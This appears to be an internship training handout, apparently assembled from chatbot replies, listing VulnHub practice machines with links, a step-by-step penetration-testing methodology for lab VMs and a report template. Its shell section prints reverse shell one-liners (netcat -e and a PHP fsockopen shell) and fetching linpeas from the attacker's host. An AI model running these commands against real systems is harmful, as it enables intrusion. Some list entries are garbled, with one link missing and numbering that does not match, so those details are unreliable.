

60+ VulnHub Labs for Cybersecurity Practice

S.No	Machine	Link	Difficulty	OS
1	DC-1	Download	Easy	Linux
2	DC-2	Download	Easy	Linux
3	DC-3	Download	Medium	Linux
4	DC-4	Download	Medium	Linux
5	DC-5	Download	Hard	Linux
6	Mr. Robot	Download	Medium	Linux
7	VulnOS 2	Download	Medium	Linux
8	Kioptrix L	Download	Easy	Linux
9	Kioptrix L	Download	Medium	Linux
10	Kioptrix L	Download	Medium	Linux
11	Kioptrix L	Download	Medium-H	Linux
12	Kioptrix L	Download	Hard	Linux
13	FristiLeak	Download	Medium	Linux
14	Raven 1	Download	Easy	Linux
15	Raven 2	Download	Medium	Linux
16	Sunset: M	Download	Medium	Linux
17	Sunset: D	Download	Medium-H	Linux

18	Toppo 1	Download	Easy	Linux
19	Prime 1	Download	Easy	Linux
20	Prime 2	Download	Medium	Linux
21	Born 2 Ro	Download	Medium	Linux
22	Born 2 Ro	Download	Medium	Linux
23	Chatterbo	Download	Medium	Windows
24	Five86 1	Download	Medium	Linux
25	Rickdicul	Download	Easy	Linux
26	LazySysA	Download	Easy	Linux
27	Symfonos	Download	Easy	Linux
28	Symfonos	Download	Medium	Linux
29	Symfonos	Download	Medium	Linux
30	Symfonos	Download	Medium	Linux
31	Symfonos	Download	Hard	Linux
32	Fowsniff	Download	Easy	Linux
33	HackNos	Download	Easy	Linux
34	Deathnot	Download	Medium	Linux
35	GoldenEy	Download	Medium	Linux

36	Trollcave	Download	Easy	Linux
37	DerpNSti	Download	Hard	Linux
38	OSCP-Like	Download	Medium	Linux
39	OSCP-Like	Download	Medium-H	Linux
40	RootThis:	Download	Medium	Linux
41	RootThis:	Download	Medium	Linux
42	Matrix 1	Download	Medium	Linux
43	Brainpan	Download	Easy	Windows
44	UltraTech	Download	Medium	Linux
45	UltraTech	Download	Hard	Linux
46	Temple of	Download	Hard	Linux
47	HA: Pand	Download	Hard	Linux
48	Tech Sup	Download	Easy	Linux
49	Lampiao :	Download	Medium	Linux
50	G0rb: 1	Download	Easy	Linux
51	Zico2	Download	Easy	Linux
52	Mission-P	Download	Medium	Linux
53	Tokyo Gh	Download	Medium	Linux
54	Ami... M...	Download	Easy	Linux

54	Animevul	Download	Easy	Linux
55	Sunset 1	Download	Medium	Linux
56	NullByte	Download	Easy	Linux
57	NullByte	Download	Medium	Linux
58	NullByte	Download	Hard	Linux
59	Staples 1	Download	Medium	Linux
60	Necromal	Download	Hard	Linux
61	Responder	Download	Hard	Linux
62	Breach 1	Download	Medium	Linux
63	Lord of th	Download	Medium-I	Linux

☒ Want me to also share a ZIP or PDF version for download?

☒ Want me to continue till 80/100? (easy for crawling!)

Full List of VulnHub Labs (Direct Links)

1. DC-1 – <https://www.vulnhub.com/entry/dc-1,292/>
2. DC-2 – <https://www.vulnhub.com/entry/dc-2,293/>
3. DC-3 – <https://www.vulnhub.com/entry/dc-3,294/>
4. DC-4 – <https://www.vulnhub.com/entry/dc-4,296/>
5. DC-5 – <https://www.vulnhub.com/entry/dc-5,297/>
6. Mr. Robot 1 – <https://www.vulnhub.com/entry/mr-robot-1,151/>
7. VulnOS 2 – <https://www.vulnhub.com/entry/vulnos-2,104/>
8. Kioptrix Level 1 – <https://www.vulnhub.com/entry/kioptrix-level-1-1,22/>
9. Kioptrix Level 2 – <https://www.vulnhub.com/entry/kioptrix-level-1-2,23/>
10. Kioptrix Level 3 – <https://www.vulnhub.com/entry/kioptrix-level-1-3,24/>
11. Kioptrix Level 4 – <https://www.vulnhub.com/entry/kioptrix-level-1-4,25/>
12. Kioptrix Level 5 – <https://www.vulnhub.com/entry/kioptrix-level-1-5,26/>

13. FristiLeaks 1.3 – <https://www.vulnhub.com/entry/fristileaks-13,133/>
14. Raven 1 – <https://www.vulnhub.com/entry/raven-1,296/>
15. Raven 2 – <https://www.vulnhub.com/entry/raven-2,297/>
16. Sunset: Midnight – <https://www.vulnhub.com/entry/sunset-midnight,709/>
17. Sunset: Decoy – <https://www.vulnhub.com/entry/sunset-decoy,678/>
18. Toppo 1 – <https://www.vulnhub.com/entry/toppo-1,742/>
19. Prime 1 – <https://www.vulnhub.com/entry/prime-1,660/>
20. Prime 2 – <https://www.vulnhub.com/entry/prime-2,661/>
21. Born 2 Root 1 – <https://www.vulnhub.com/entry/born2root-1,517/>
22. Born 2 Root 2 – <https://www.vulnhub.com/entry/born2root-2,563/>
23. Chatterbox – <https://www.vulnhub.com/entry/chatterbox-1,338/>
24. Five86 1 – <https://www.vulnhub.com/entry/five86-1,457/>
25. RickdiculouslyEasy 1 – <https://www.vulnhub.com/entry/rickdiculouslyeasy-1,296/>
26. LazySysAdmin – <https://www.vulnhub.com/entry/lazsysadmin-1,308/>
27. Symfonos 1 – <https://www.vulnhub.com/entry/symfonos-1,344/>
28. Symfonos 2 – <https://www.vulnhub.com/entry/symfonos-2,345/>
29. Symfonos 3 – <https://www.vulnhub.com/entry/symfonos-3,471/>
30. Symfonos 4 – <https://www.vulnhub.com/entry/symfonos-4,506/>
31. Symfonos 5 – <https://www.vulnhub.com/entry/symfonos-5,662/>
32. Fowsniff – <https://www.vulnhub.com/entry/fowsniff-1,345/>
33. HackNos 1 – <https://www.vulnhub.com/entry/hacknos-1,456/>
34. Deathnote: 1 – <https://www.vulnhub.com/entry/deathnote-1,460/>
35. GoldenEye – <https://www.vulnhub.com/entry/goldeneye-1,240/>
36. Trollcave – <https://www.vulnhub.com/entry/trollcave-1,474/>
37. DerpNStink – <https://www.vulnhub.com/entry/derpnstink-cctf2,165/>
38. TrOll 1 – <https://www.vulnhub.com/entry/trOll-1,100/>
39. TrOll 2 – <https://www.vulnhub.com/entry/trOll-2,218/>
40. RootThis: 1 – <https://www.vulnhub.com/entry/rootthis-1,606/>
41. RootThis: 2 – <https://www.vulnhub.com/entry/rootthis-2,607/>
42. Matrix 1 – <https://www.vulnhub.com/entry/matrix-1,742/>
43. Brainpan 1 – <https://www.vulnhub.com/entry/brainpan-1,51/>
44. UltraTech 1 – <https://www.vulnhub.com/entry/ultratech-1,671/>
45. UltraTech 2 – <https://www.vulnhub.com/entry/ultratech-2,672/>
46. Temple of Doom – <https://www.vulnhub.com/entry/temple-of-doom-1,379/>
47. HA: Pandora's Box – <https://www.vulnhub.com/entry/ha-pandoras-box-1,308/>
48. Tech Support 1 – <https://www.vulnhub.com/entry/tech-support-1,600/>
49. Lampiao 1 – <https://www.vulnhub.com/entry/lampiao-1,379/>
50. G0rb: 1 – <https://www.vulnhub.com/entry/g0rb-1,670/>
51. Zico2 – <https://www.vulnhub.com/entry/zico2-1,408/>
52. Mission-Pumpkin v1 – <https://www.vulnhub.com/entry/mission-pumpkin-v1,663/>
53. Tokyo Ghoul 1 – c
54. AnimeVuln 1 – <https://www.vulnhub.com/entry/animevuln-1,729/>
55. Sunset 1 – <https://www.vulnhub.com/entry/sunset-1,609/>
56. NullByte 1 – <https://www.vulnhub.com/entry/nullbyte-1,501/>
57. NullByte 2 – <https://www.vulnhub.com/entry/nullbyte-2,502/>
58. HA: Circuit Saga – <https://www.vulnhub.com/entry/ha-circuit-saga-1,689/>

59. DC: 6 – <https://www.vulnhub.com/entry/dc-6,688/>
60. Relevant: 1 – <https://www.vulnhub.com/entry/relevant-1,698/>
61. W1R3S: 1 – <https://www.vulnhub.com/entry/w1r3s-1,704/>
62. Brooklyn Nine Nine – <https://www.vulnhub.com/entry/brooklyn-nine-nine-1,734/>

You are asking for "Complete Instruction Set" covering:

- [How to solve VulnHub labs](#) ✓
- [How to make professional reports](#) ✓
- [What steps to follow](#) ✓
- [What tools to use](#) ✓
- [How to write flags](#) ✓
- [How to document everything](#) ✓
- [What mindset to have](#) ✓
- [All major doubts solved](#) ✓

I will give you a full professional guide, clean and complete.

Complete Instruction Set for Solving VulnHub Labs + Reporting

1. Initial Setup

Tools you must have ready:

- [Kali Linux / Parrot OS / BlackArch \(up-to-date\)](#)
- [VirtualBox or VMware \(install both attacker and target machine\)](#)
- [VPN/Firewall OFF \(keep VMs in Host-Only or Internal Network Mode\)](#)
- [Nmap, Netdiscover, Dirsearch, Gobuster, Nikto, LinPEAS, WinPEAS, etc.](#)

2. Lab Solving Standard Flow

 Always follow this step-by-step attack methodology:

<u>Phase</u>	<u>Actions</u>
<u>1. Network Scan</u>	<u>Use netdiscover</u>
<u>2. Port Scanning</u>	<u>Use nmap -sC -s</u>
<u>3. Service Enum</u>	<u>Dig into services</u>
<u>4. Web Enumera</u>	<u>If web ports open</u> <u>- oobuster for dir</u>
<u>5. Vulnerability</u>	<u>Match service v</u>
<u>6. Exploitation</u>	<u>Launch attacks</u>
<u>7. Shell Access</u>	<u>Get a reverse sh</u>
<u>8. Privilege Esca</u>	<u>Use linpeas.sh, l</u>

<u>9. Capture the Flag</u>	<u>Generally: /root</u>
<u>10. Reporting</u>	<u>Document everything</u>

[3. Detailed Actions per Phase](#)

[◆ Reconnaissance](#)

- [Find IP:](#)
- [bash](#)
- [CopyEdit](#)
- [netdiscover](#)
- [Nmap Scan:](#)
- [bash](#)
- [CopyEdit](#)
- [nmap -sC -sV -A -oN fullscan.txt <IP>](#)
- [Save outputs always.](#)

[◆ Enumeration](#)

- [Web Enum:](#)
- [bash](#)
- [CopyEdit](#)
- [gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt](#)
- [nikto -h http://<IP>](#)
- [Service Enum: SSH – check version vulnerabilities.](#)
- [FTP – anonymous login allowed? \(ftp <IP>\)](#)

[◆ Gaining Access \(Exploitation\)](#)

- [Check for:](#)
 - [Default credentials \(admin:admin\)](#)
 - [Upload vulnerability \(upload shell.php\)](#)
 - [LFI/RFI](#)
 - [CMS vulnerability \(like Wordpress exploits\)](#)
- [If you find an exploit, use it responsibly:](#)

- [bash](#)
- [CopyEdit](#)
- [searchsploit <service name> <version>](#)

◆ [Shell Management](#)

- [Reverse Shell Examples:](#)
- [Netcat Shell:](#)
- [bash](#)
- [CopyEdit](#)
- [nc -e /bin/bash <Your IP> <Port>](#)
- [PHP Reverse Shell:](#)
- [bash](#)
- [CopyEdit](#)
- [php -r '\\$sock=fsockopen\("<Your IP>",<Port>\);exec\("/bin/sh -i &3 >&3 2>&3"\);'](#)
- [Always stabilize your shell:](#)
- [bash](#)
- [CopyEdit](#)
- [python3 -c 'import pty; pty.spawn\("/bin/bash"\)'](#)
- [export TERM=xterm](#)
- [stty raw -echo](#)
- [fg](#)

◆ [Privilege Escalation](#)

[Use LinPEAS / WinPEAS:](#)

[bash](#)

[CopyEdit](#)

[wget http://<Your IP>/linpeas.sh](#)

[chmod +x linpeas.sh](#)

[./linpeas.sh](#)

[Check:](#)

- [Sudo rights \(sudo -l\)](#)
- [SUID binaries](#)
- [Weak permissions](#)
- [Kernel exploits](#)
- [Running services \(cronjobs, etc.\)](#)

◆ [Capture the Flag](#)

- [Flags are generally located in:](#)
 - [/root/](#)

- [/home/user/](#)
- [Format: usually text file like root.txt or flag.txt](#)
- [Read with:](#)
- [bash](#)
- [CopyEdit](#)
- [cat /root/root.txt](#)

[4. Professional Reporting](#)



[Structure your lab report like this:](#)

<u>Section</u>	<u>Content</u>
<u>Title</u>	<u>Lab Name + Your Name</u>
<u>Summary</u>	<u>What is the goal of this lab?</u>
<u>Tools Used</u>	<u>Kali, Nmap, Gobuster, Burp Suite</u>
<u>Methodology</u>	<u>Step-by-step (Recon, Exploitation, Post-Exploitation)</u>
<u>Screenshots</u>	<u>Add screenshots of key findings</u>
<u>Vulnerabilities Found</u>	<u>e.g., LFI, SQLi, XSS, RCE</u>
<u>Mitigation</u>	<u>How to fix the vulnerabilities</u>
<u>Flag(s) Captured</u>	<u>Final Proof</u>

<u>Challenges Face</u>	<u>Things you struggle</u>
<u>Learning Outcomes</u>	<u>What new skills</u>

Tips:

- Save terminal outputs
- Take screenshots (with timestamps)
- Write like an auditor would
- Be clean and professional

5. Mindset During Solving

Always think:

- "What service could be misconfigured?"
- "Can I upload something?"
- "Can I escalate permissions?"
- "Is there a hidden port?"
- "Is this user password reused somewhere?"

Always be:

- Curious
- Persistent
- Systematic
- Creative

6. Common Questions Solved

<u>Question</u>	<u>Answer</u>
<u>Should I use Metasploit?</u>	<u>Only if allowed (CTF)</u>
<u>Is VPN needed?</u>	<u>No, for Vulnhub</u>
<u>How to make report?</u>	<u>Use diagrams, flowcharts</u>
<u>Can I ask for hints?</u>	<u>If really stuck for long</u>
<u>How long should I spend?</u>	<u>Beginner: 4-6 hours</u> <u>Intermediate: 2-4 hours</u>
<u>How to practice?</u>	<u>Make GitHub repository</u>
<u>Should I automate?</u>	<u>No, learn manual</u>

7. Checklist Before Finishing Lab

- ✓ All ports scanned?
- ✓ All services enumerated?
- ✓ All directories found?
- ✓ All known vulnerabilities tested?
- ✓ User and root flags captured?
- ✓ Report ready with screenshots?

End of Full Guide!

Would you like me to also create a sample professional report template (docx/pdf format) that you can use for all labs?

 (I can prepare it in 5 minutes if you want!)

Would you want it?  

=====

Professional VulnHub Lab Report Template



VulnHub Lab Report

1. Title Page

Lab Name: [Lab Name Here]

Platform: VulnHub

Author: [Your Name]

Date: [Completion Date]

Difficulty Level: [Easy / Medium / Hard]

2. Executive Summary

Objective:

Briefly state the goal of the lab (e.g., gain root access, capture flag).

Final Outcome:

- User Flag: [Yes/No]
- Root Flag: [Yes/No]

Time Taken:

Approximate time to complete the lab.

3. Tools Used

List of tools and scripts:

- Kali Linux
- Nmap
- Gobuster
- Nikto
- LinPEAS
- Burp Suite (optional)
- Netcat

4. Methodology

4.1 Network Discovery

Tool Used: netdiscover / arp-scan

IP Discovered: [Target IP Address]

Screenshot:

[Insert Screenshot Here]

4.2 Port Scanning

Command:

[nmap -sC -sV -A -oN nmap_full_scan.txt <Target IP>](#)

Open Ports:

- [Port 22: SSH](#)
- [Port 80: HTTP](#)
- [Port 3306: MySQL](#)

Screenshot: [Insert Screenshot Here]

4.3 Service Enumeration

- [Web Directory Discovery \(gobuster/dirb\)](#)
- [FTP/SSH analysis](#)
- [CMS Detection \(if applicable\)](#)

Screenshots: [Insert Screenshots]

4.4 Vulnerability Assessment

- [Checked service versions](#)
- [Searched for known vulnerabilities](#)
- [Found exploit \[Exploit Title\]](#)

Screenshots: [Insert Screenshots]

4.5 Exploitation

- [Details of attack performed](#)
- [Exploit used or manual steps taken](#)

Screenshot of Shell: [Insert Shell Access Screenshot]

4.6 Privilege Escalation

- [Used LinPEAS/Manual checking](#)
- [Found vulnerability \[Describe\]](#)
- [Escalated to root](#)

Screenshot: [Insert Root Access Screenshot]

4.7 Capture the Flag

- [User.txt:](#)

[cat /home/<user>/user.txt](#)

- [Root.txt:](#)

[cat /root/root.txt](#)

Screenshots of flags: [Insert User and Root Flag Screenshot]

5. Vulnerabilities Identified

<u>Vulnerability</u>	<u>Description</u>	<u>Severity</u>
<u>Outdated CMS</u>	<u>Version susceptible</u>	<u>High</u>
<u>Misconfigured FTP</u>	<u>Anonymous access</u>	<u>Medium</u>

6. Mitigation Strategies

- Update CMS to latest secure version.
- Restrict FTP access.
- Regular vulnerability assessments.
- Implement least privilege principle.

7. Challenges Faced

- [Any blockers or issues during exploitation]
- [How you overcame them]

8. Learning Outcome

- [New tools learned]
- [New techniques mastered]
- [Understanding improved]

End of Report

Appendix (Optional):

- Full Nmap scan output
- Full Gobuster output
- Exploit code snippets

Tip: Always keep the format clean, professional, and include timestamps and proper titles for screenshots.

Task:

- Every intern must solve 3 labs from the provided VulnHub list.
- Strictly follow the provided guidelines and report template.
- Submit a professional penetration testing report for each lab

Submission Guidelines

- Submit your report in PDF and editable DOCX format.
- Zip the original screenshots and include in submission.
- Submission deadline will be shared per batch.

Extra Notes

- Minimum 20 screenshots per lab (important stages).
- Command history must be preserved.
- Clear explanation for each step.
- Reports must have professional language (no slang or casual talk).
- Plagiarism = Immediate Disqualification.

Example Labs you can choose (Start from easy):

- DC: 1
- Mr. Robot
- Breach 1.0.1
- Basic Pentesting 1
- Vulnix




Quick FAQs (Doubt Solving)

Question	Answer
Can I use Metasploit?	Only after manual review
What if I can't resolve a host?	Document what you tried
How detailed should my report be?	Every major step and finding
How to name the report?	LabName_YourName_Report
Can I collaborate with others?	No. Labs must be completed individually
Where can I ask for help?	Contact your assigned mentor

Important Reminder:

This exercise simulates a real-world professional penetration testing project. Treat it seriously. Your performance here will be evaluated for future internships, certifications, or career references.

Would you like me to also prepare:

-  **A ready-to-use folder structure (Reports, Screenshots, Scripts)**
-  **A sample report preview**
-  **A checklist to tick while solving**